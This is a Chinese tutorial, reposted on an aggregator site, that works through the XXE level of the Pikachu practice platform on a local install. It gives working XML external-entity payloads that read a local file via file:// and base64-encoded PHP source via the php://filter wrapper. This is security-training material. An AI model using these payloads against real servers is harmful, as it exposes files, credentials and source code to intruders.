pikachu平台XXE漏洞通关教程详解

news/2024/11/28 8:24:31/文章来源:https://www.cnblogs.com/GuijiH6/p/18570540

声明!
如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人无关,切勿触碰法律底线,否则后果自负!!!!

工具在网盘,自取

通过网盘分享的文件:phpstudy
链接: https://pan.baidu.com/s/1l0jpNGQvYMwRSq3BhDY1EQ 提取码: jay1
–来自百度网盘超级会员v1的分享

在这里插入图片描述

目录
  • 1. 概述
  • 2. 教程
    • 1. 读取本地文件:
    • 2. php伪协议读取


1. 概述

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。


2. 教程

示例代码:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[                     #定义一个root               <!ENTITY a "hello world">      #定义a参数,其内容未‘hello world’]><root>&a;</root>                    #调用a参数

将内容提交到表单,看到返回结果

在这里插入图片描述
查看返回结果:
在这里插入图片描述
成功返回数据

1. 读取本地文件:

在本地文件夹 下创建1.txt写入: hello track!
在这里插入图片描述

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[                     <!ENTITY a SYSTEM "file:///D:/phpstudy_pro/WWW/pikachu-master/1.txt">      ]><root>&a;</root>

提交后会返回

在这里插入图片描述

2. php伪协议读取

在1.php里 写入:<?php phpinfo(); ?>

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[                     <!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/pikachu-master/1.php">      ]><root>&a;</root>

执行结果如下:
在这里插入图片描述


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/841718.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

An Empirical Model of Large-Batch Training

目录概Gradient Noise ScaleMcCandlish S., Kaplan J., Amodei D. and OpenAI Dota Team. An empirical model of large-batch training. 2018.概 本文讨论了随着 batch size 改变, sgd-style 的优化器的学习应该怎么调整. Gradient Noise Scale考虑如下的优化问题: \[\tag{1} …

算法网关视频分析网关拍照检测高空抛物检测算法:守护城市安全的“天眼”

高空抛物,一个看似微不足道的行为,实则隐藏着巨大的安全隐患。随着城市化进程的加快,高层建筑如雨后春笋般拔地而起,高空抛物现象也随之增多,给人们的生活带来了严重的威胁。从烟头、饮料瓶到花盆、垃圾,这些被随意抛掷的物品,一旦从高空落下,其破坏力不容小觑。 为了有…

jquery仿PPT幻灯片特效插件ppt.js

ppt.js是一款jquery仿PPT幻灯片特效插件。该jquery插件基于jquery来显示图片翻页效果,可全屏显示,以及自定义图片的宽度和高度。演示 下载使用方法 在页面中引入jquery和ppt.js文件,以及字体图标文件iconic和插件样式文件ppt.css。<link rel="stylesheet" hr…

性能指标详解

一、监听器中的插件 @gc - Active Threads Over Timeip 活动线程时间 @gc - AutoStop Listener 自动停止侦听器 @gc - Bytes Throughput Over Timejp 字节吞吐量随时间变化 @gc -Composite Graph 综合图 @gc - Connect Times Over Timejp 连接时间 @gc -Console Status Loggerj…

leetcode78 子集

leetcode78 子集思路:深度优先搜索回溯 分析此类问题可以先用树形结构模拟代码逻辑。那么根据这个解答树,首先我们的回溯搜索函数应该由这么几部分组成将搜索获得的答案加入到res中。 for循环遍历搜索下一个元素(比如在初始列表为空的时候,第一位可以选1,2,3显然需要通过…

bootstrap模态窗口美化特效

这是一款bootstrap模态窗口美化特效。该特效在原生bootstrap模态窗口的基础上,通过添加自定义的CSS样式,制作出效果非常炫酷的模态窗口。演示 下载使用方法 在页面中引入下面的文件。<link rel="stylesheet" href="http://jrain.oscitas.netdna-cdn.com…

重温经典,一网万游:在线红白机FC游戏平台:webgame.one

还记得小时候守在电视机前,手握红白机手柄,沉浸在《魂斗罗》紧张刺激的战斗、《超级马里奥兄弟》奇妙的冒险世界,或是与小伙伴一起在《坦克大战》里并肩作战的美好时光吗?那些经典的 FC 游戏,承载着我们童年最纯真的快乐与回忆。如今,有一个名为 https://webgame.one 的在…

明火识别视频分析服务器烟雾识别小区住宅智慧消防场景方案

随着城市化进程的加快和科技的不断进步,燃气安全和消防安全已成为城市安全管理的重要组成部分。为了响应国家政策的号召,提升城镇燃气安全水平,以及加强高层民用建筑的消防安全管理,迫切需要一套科学、高效的技术解决方案来应对当前的挑战。 本文将详细介绍如何利用明火识别…

vue2 数据导入excel

1、安装 npm install xlsx一、前端<el-uploadstyle="display: inline-block"actionaccept=".xlsx, .xls":auto-upload="false":show-file-list="false":on-change="handleUpload"><el-button type="primary&q…

小迪安全第10天HTTP数据包

请求包:request 回显包:response (1)请求方式:post get get:提交请求 post:向指定资源提交内容,登录/上传文件 •get:向特定资源发出请求(请求指定页面信息,并返回实体主体); •post:向指定资源提交数据进行处理请求(提交表单、上传文件),又可能导致新的资源的…